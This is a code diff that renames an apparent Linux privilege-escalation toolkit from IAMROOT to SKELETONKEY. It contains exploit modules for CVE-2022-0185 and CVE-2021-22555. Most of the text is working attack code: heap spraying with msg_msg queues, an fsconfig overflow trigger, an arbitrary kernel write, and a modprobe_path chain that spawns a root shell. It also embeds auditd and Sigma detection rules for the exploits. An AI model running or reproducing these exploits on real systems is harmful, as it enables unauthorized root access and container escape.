#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -153,62 +159,58 @@ static const struct kernel_range fuse_legacy_range = {
|
||||
sizeof(fuse_legacy_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* detect */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||
* kernels predate the code path entirely. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
/* user_ns availability comes from the shared host fingerprint. The
|
||||
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
|
||||
* needs CLONE_NEWNS, but the kernel gates both on the same userns
|
||||
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
|
||||
* so the userns probe is a sound proxy. */
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
|
||||
@@ -216,7 +218,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
|
||||
"docker/podman/snap setups\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
@@ -363,7 +365,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
|
||||
* On a vulnerable host with matching offsets this path can land the
|
||||
* write; on an unverified host the sanity gate refuses rather than
|
||||
* blind-writing a wild pointer. The finisher's downstream
|
||||
* "/tmp/iamroot-pwn ran?" check is the second gate.
|
||||
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
|
||||
*/
|
||||
struct fuse_arb_ctx {
|
||||
/* Pre-allocated queue ids from the spray phase. */
|
||||
@@ -371,14 +373,13 @@ struct fuse_arb_ctx {
|
||||
int n_queues;
|
||||
int hole_q;
|
||||
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
||||
const char *tag; /* "IAMROOT" */
|
||||
const char *tag; /* "SKELETONKEY" */
|
||||
/* Whether the first-round trigger already fired (the parent's
|
||||
* default-path overflow). When set we re-spray + re-fire; when
|
||||
* unset we assume the spray is hot. */
|
||||
bool trigger_armed;
|
||||
};
|
||||
|
||||
#ifdef __linux__
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
@@ -504,34 +505,28 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
(unsigned long)kaddr);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
|
||||
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
|
||||
return -1;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* exploit */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* (R1) Re-call detect — refuse if not vulnerable. */
|
||||
iamroot_result_t pre = fuse_legacy_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* (R2) Refuse if already root — no LPE work to do. */
|
||||
if (geteuid() == 0) {
|
||||
/* (R2) Refuse if already root — no LPE work to do. Consult
|
||||
* ctx->host first so unit tests can construct a non-root
|
||||
* fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -541,7 +536,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
|
||||
* which is what fsopen("cgroup2") + fsconfig require. */
|
||||
if (!enter_userns_root()) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
|
||||
@@ -552,13 +547,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
* to land write-past-end into the next adjacent msg_msg.
|
||||
*
|
||||
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
|
||||
* shape but with knobs scaled for an iamroot one-shot.
|
||||
* shape but with knobs scaled for an skeletonkey one-shot.
|
||||
*/
|
||||
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
|
||||
int *qids = calloc(N_QUEUES, sizeof(int));
|
||||
if (!qids) {
|
||||
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
for (int i = 0; i < N_QUEUES; i++) {
|
||||
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
@@ -574,7 +569,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
if (spray == MAP_FAILED) {
|
||||
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
|
||||
free(qids);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
spray->mtype = 0x4242;
|
||||
/* Tag the payload so we can recognise our spray slots in
|
||||
@@ -614,7 +609,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
char *first_chunk = malloc(4081);
|
||||
if (!first_chunk) {
|
||||
free(qids); munmap(spray, sizeof *spray);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
memset(first_chunk, 'A', 4080);
|
||||
first_chunk[4080] = '\0';
|
||||
@@ -632,7 +627,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
* step below. */
|
||||
char evil_chunk[256];
|
||||
memset(evil_chunk, 'B', sizeof evil_chunk);
|
||||
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
|
||||
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
|
||||
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
|
||||
evil_chunk[sizeof evil_chunk - 1] = '\0';
|
||||
|
||||
@@ -653,7 +648,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
|
||||
errno, strerror(errno));
|
||||
free(qids); munmap(spray, sizeof *spray);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -725,33 +720,32 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
* (see fuse_arb_write). On a host where offsets + groom land,
|
||||
* the finisher's modprobe_path overwrite → execve(unknown) →
|
||||
* call_modprobe chain pops a root shell. On a mismatched host
|
||||
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
|
||||
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
|
||||
* fabricated success.
|
||||
*
|
||||
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
||||
* runs because the arb_write primitive re-fires the trigger and
|
||||
* needs the live spray.
|
||||
* --------------------------------------------------------------- */
|
||||
#ifdef __linux__
|
||||
if (ctx->full_chain) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
||||
"kernel offsets...\n");
|
||||
}
|
||||
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
int resolved = iamroot_offsets_resolve(&off);
|
||||
int resolved = skeletonkey_offsets_resolve(&off);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
||||
"(modprobe_path=0x%lx source=%s)\n",
|
||||
resolved, (unsigned long)off.modprobe_path,
|
||||
iamroot_offset_source_name(off.source_modprobe));
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offset_source_name(off.source_modprobe));
|
||||
skeletonkey_offsets_print(&off);
|
||||
}
|
||||
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("fuse_legacy");
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("fuse_legacy");
|
||||
/* Cleanup before returning. */
|
||||
for (int q = 0; q < N_QUEUES; q++) {
|
||||
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
||||
@@ -759,18 +753,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
free(qids);
|
||||
munmap(spray, sizeof *spray);
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct fuse_arb_ctx ax = {
|
||||
.qids = qids,
|
||||
.n_queues = N_QUEUES,
|
||||
.hole_q = hole_q,
|
||||
.tag = "IAMROOT",
|
||||
.tag = "SKELETONKEY",
|
||||
.trigger_armed = true,
|
||||
};
|
||||
|
||||
iamroot_result_t fr = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
|
||||
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
||||
|
||||
/* Cleanup IPC + mapping regardless of finisher result. The
|
||||
@@ -783,16 +777,15 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
munmap(spray, sizeof *spray);
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
|
||||
if (fr == IAMROOT_EXPLOIT_OK) {
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) {
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
||||
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Clean up our IPC queues and mapping. The kernel slab state
|
||||
* after the overflow may be unstable; we exit cleanly on success
|
||||
@@ -814,31 +807,53 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
"popping root shell\n");
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
execl("/bin/sh", "sh", "-i", (char *)NULL);
|
||||
perror("execl /bin/sh");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
|
||||
"not wired — see source for the missing offsets.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
|
||||
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
|
||||
"(fsopen + fsconfig + userns mount) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* embedded detection rules */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static const char fuse_legacy_auditd[] =
|
||||
"# CVE-2022-0185 — auditd detection rules\n"
|
||||
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
|
||||
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
|
||||
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
|
||||
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
|
||||
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
|
||||
|
||||
static const char fuse_legacy_sigma[] =
|
||||
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
|
||||
"id: 9e1b2c45-iamroot-fuse-legacy\n"
|
||||
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -856,7 +871,7 @@ static const char fuse_legacy_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||
|
||||
const struct iamroot_module fuse_legacy_module = {
|
||||
const struct skeletonkey_module fuse_legacy_module = {
|
||||
.name = "fuse_legacy",
|
||||
.cve = "CVE-2022-0185",
|
||||
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
|
||||
@@ -872,7 +887,7 @@ const struct iamroot_module fuse_legacy_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_fuse_legacy(void)
|
||||
void skeletonkey_register_fuse_legacy(void)
|
||||
{
|
||||
iamroot_register(&fuse_legacy_module);
|
||||
skeletonkey_register(&fuse_legacy_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module fuse_legacy_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
# NOTICE — netfilter_xtcompat (CVE-2021-22555)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2021-22555** — iptables `xt_compat_target_to_user` 4-byte heap
|
||||
out-of-bounds write → cross-cache UAF → arbitrary kernel R/W.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, exploited, and disclosed by **Andy Nguyen** (Google
|
||||
Security Team), April 2021.
|
||||
|
||||
Original writeup: "CVE-2021-22555: Turning $00 $00 into 10 million $$$"
|
||||
<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html>
|
||||
|
||||
Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
|
||||
**Bug existed since 2.6.19 (2006) — 15 years of latent vulnerability.**
|
||||
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
|
||||
4.9.266 / 4.4.266.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
|
||||
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
|
||||
spray in kmalloc-2k + sk_buff sidecar; MSG_COPY scan for cross-cache
|
||||
landing. `--full-chain` extends with stride-seeded `m_list_next`
|
||||
overwrite aimed at modprobe_path via the shared finisher.
|
||||
|
||||
Detection rules cover unshare + msgsnd + `setsockopt(IPT_SO_SET_REPLACE)`.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
||||
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module netfilter_xtcompat_module;
|
||||
|
||||
#endif
|
||||
+125
-140
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module
|
||||
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module
|
||||
*
|
||||
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
|
||||
* compat handler for iptables rule export wrote up to 4 bytes
|
||||
@@ -26,18 +26,18 @@
|
||||
* - Trigger sequence: hand-rolled iptables rule blob with
|
||||
* malformed xt_entry_target offset; setsockopt fires the OOB.
|
||||
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
|
||||
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
|
||||
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
|
||||
* cookies for KASAN visibility.
|
||||
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
||||
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
|
||||
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
|
||||
* - With --full-chain: shared finisher (core/finisher.c) is
|
||||
* invoked to perform the modprobe_path overwrite + execve
|
||||
* unknown-binary trigger. Requires modprobe_path resolution
|
||||
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
||||
* check in the finisher is the empirical witness for the
|
||||
* write landing — IAMROOT never claims root unless it sees
|
||||
* write landing — SKELETONKEY never claims root unless it sees
|
||||
* the setuid bash drop with mode 4755 + uid 0.
|
||||
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
|
||||
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
|
||||
* the primitive demo (verified-vs-claimed bar).
|
||||
*
|
||||
* Affected: kernel 2.6.19+ until backports landed:
|
||||
@@ -56,18 +56,23 @@
|
||||
* (almost always autoload-able on default-config kernels)
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -76,8 +81,6 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -91,31 +94,6 @@
|
||||
#ifndef SOL_IP
|
||||
#define SOL_IP 0
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
|
||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
||||
* constants are absent on Darwin; stub them so the .c file compiles
|
||||
* cleanly under either toolchain. The actual exploit body is gated
|
||||
* by `#ifdef __linux__` at runtime entry. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define IPPROTO_RAW 255
|
||||
#define SOL_IP 0
|
||||
#define IPT_SO_SET_REPLACE 64
|
||||
struct ipt_replace { char dummy; };
|
||||
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
#define IPC_PRIVATE 0
|
||||
#define IPC_CREAT 01000
|
||||
#define IPC_NOWAIT 04000
|
||||
#define IPC_RMID 0
|
||||
#define MSG_COPY 040000
|
||||
#endif
|
||||
|
||||
/* ---- Kernel range ------------------------------------------------- */
|
||||
|
||||
@@ -139,71 +117,60 @@ static const struct kernel_range netfilter_xtcompat_range = {
|
||||
|
||||
/* ---- Detect ------------------------------------------------------- */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
||||
"(bug existed since 2.6.19, 2006)\n", v.release);
|
||||
"(bug existed since 2.6.19, 2006)\n", v->release);
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||
"unprivileged exploit path unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
|
||||
"AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* Write uid_map and gid_map after unshare so we're root in userns.
|
||||
* This is the standard setgroups=deny pattern; without it the uid_map
|
||||
* write is rejected on modern kernels for unprivileged callers. */
